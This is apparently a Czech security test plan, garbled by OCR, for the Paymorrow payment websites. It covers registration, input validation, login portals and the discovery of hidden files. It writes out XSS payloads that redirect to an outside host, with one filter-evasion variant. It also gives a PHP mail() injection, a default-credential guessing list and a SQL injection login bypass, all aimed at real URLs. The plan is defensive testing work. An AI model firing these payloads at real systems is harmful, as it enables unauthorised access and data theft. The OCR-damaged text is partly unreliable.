Test formulafe na adrese http://www.paymorrow.de/akzeptanzvertrag/index.php

Test Case 32: Registrace obchodu

Summary:

VypInéni oéekavanych dat, diky nim se pokusit ziskat vic informaci o autorizaci webu

Steps:

1.
2.

Prejit na adresu http://www.paymorrow.de/akzeptanzvertrag/index.php
VypInéni o¢ekavanych dat a odeslani formulére

Expected Results:

1. Webova stranka http://www.paymorrow.de/akzeptanzvertrag/index.php zobrazena
2. Data odeslana, ziskané informace nevedou k obejiti autorizace webu
Pass / Fail: Test Notes:

Author Ryba

Test Case 34: Validace vstup U

Summary:

Testovani validace vstupd pfeplnénim vyrovnavaci pameéti, kontroly povoleného javascriptu a PHP.

Steps:
1.

2.

Do formulafovych poli na adrese http://www.paymorrow.de/grundlagen/termine/index.php
vlozit velké mnoZzstvi dat

Vyplnit oéekavana data, za jméno pfidat javascriptovy kod
<script>window.location.replace("http://www.gs500e.unas.cz/paymorrow4.php");</script>
Vyplnit oéekavana data, za pfijmeni pfidat javascriptovy kod
<scrscriptipt>window.location.replace("http://www.gs500e.unas.cz/paymorrow5.php");</scr
scriptipt>




4. Vyplnit oéekavana data, do pole Nachname pfidat PHP kéd: <?
Mail("tomsv650s@gmail.com”, "paymorrow php", "Lze spoustet php", "From: " .
"phpRegistrace @paymorrow.de"); ?>

Expected Results:

1. Server se nezhrouti, zobrazi chybovou hlasku, nebo vezme registraci i s velkym mnoZstvim
dat

2. Zkontrolovat pfichozi e-maily, zadna nova zprava od xssRegistrace@paymorrow.de

3. Zkontrolovat pfichozi e-maily, Zddna novéa zprava od xss2Registrace@paymorrow.de

4. Zkontrolovat pfichozi e-maily, zadna nova zprava od phpRegistrace@paymorrow.de
Pass / Fail: Test Notes:

Author Ryba

3.3 Test Suite Test ov éfovani

3.3.0 Details

Test ovéfovani pro zabezpecené stranky
https://paymorrow.net/perthCustomerPortal/welcome.action,
https://paymorrow.net/perthPortal/welcome.action a http://paymorrow.helpserve.com/

Test Case 37: Ov éfovani obchodnik U

Summary:

Test ovéfovani uzivatele na portalu pro obchodniky https://paymorrow.net/perthPortal/welcome.action

Steps:

1. VyzkouSet tyto zakladni kombinace username/password:

uzivatelska jména hesla
[prazdné] [prazdné]
root, administrator, admin [prazdné], root, administrator, admin, password, heslo, paymorrow
operator, webmaster, backup | [prdzdné], operator, webmaster, backup
guest, demo, test, trial [prazdné], guest, demo, test, trial
member, private [prazdné], member, private
paymorrow [prazdné], paymorrow

2. Otestovat bypass aplikace zadanim username a password cokoli' OR 1=1 --

Expected Results:

1. PrihlaSeni se nepodafi pro Zzadnou z kombinaci, webovy server neda odpovéd, ze které by se
dalo heslo nebo jméno uhadnout

2. PrihlaSeni se nepodafi, webovy server neda odpovéd, ze které by se dalo heslo nebo jméno
uhadnout




Pass / Fail:

Test Notes:

Author Ryba

Test Case 39: Ov érovani nakupuijicich

Summary:

Test ovéfovani uzivatele na portalu pro zakazniky
https://paymorrow.net/perthCustomerPortal/welcome.action

Steps:

1. VyzkouSet tyto zakladni kombinace username/password:

uZivatelska jména hesla
[prazdné] [prazdné]
root, administrator, admin [prazdné], root, administrator, admin, password, heslo, paymorrow
operator, webmaster, backup | [prdzdné], operator, webmaster, backup
guest, demo, test, trial [prazdné], guest, demo, test, trial

member, private

[prazdné], member, private

paymorrow

info@paymorrow.de,
rechnung@paymorrow.de
service@paymorrow.de | [prazdné], paymorrow

1. Zkusit bypass aplikace zadanim username a password cokoli' OR 1=1 --

Expected Results:

uhadnout

1. PrihlaSeni se nepodafi pro Zzadnou z kombinaci, webovy server neda odpovéd, ze které by se
dalo heslo nebo jméno uhadnout
2. PrihlaSeni se nepodari, webovy server neda odpovéd, ze které by se dalo heslo nebo jméno

Pass / Fail:

Test Notes:

Author Ryba

Test Case 22: Images

Summary:

Snaha najit obrazky, stranky nebo dalSi soubory, na které nebylo na strankach odkazovano
a které mGzou vyzrazovat utajené informace

Steps:




1. Pokus otevfit soubory index.htm, index.html, index.php apod. na adrese
http://www.paymorrow.de/images/

2. Podle seznamu obrazku najit ty, které maji €isla v nazvu, pokus otevrit obrazky s
vySSim/niZzSim ¢islem

3. Snaha najit dalSi obrazky, na které nebylo odkazovano na strankach

Expected Results:

1. Pfesmérovani na stranku chyby 404
http://www.paymorrow.de/fehlerseiten/fehler404.php, nebo pfipadné stranky, ktera
neobsahuje zadna slaba mista

2. Pouze obrazky tykajici se paymorrow by mély byt nalezeny, urcité ne diagramy
vyzrazujici strukturu webu apod.

3. Pouze obrazky tykajici se paymorrow by mély byt nalezeny, urcité ne diagramy
vyzrazujici strukturu webu apod.

Pass / Fail: Test Notes:

Author Ryba

Test Case 24: po €itadlo

Summary:

Prozkoumat stranku http://www.paymorrow.de/w2dcpimg.php

Steps:

1. Zobrazit stranku http://www.paymorrow.de/w2dcpimg.php, pokusit se najit odkazy a
slab& mista

2. Pokusit se objevit parametry, napf.
http://www.paymorrow.de/w2dcpimg.php?id=123456, nebo
http://www.paymorrow.de/w2dcpimg.php?id=123456&debug=true

Expected Results:

1. Jedna se o stranku s jednim odkazem (obrazkem v odkazu) na externi pocitadlo,
popf. jen obrazek pocitadla
2. Obsah se nezméni, zUstane pouze pocitadlo pFistupt

Pass / Fail: Test Notes:

Author Ryba




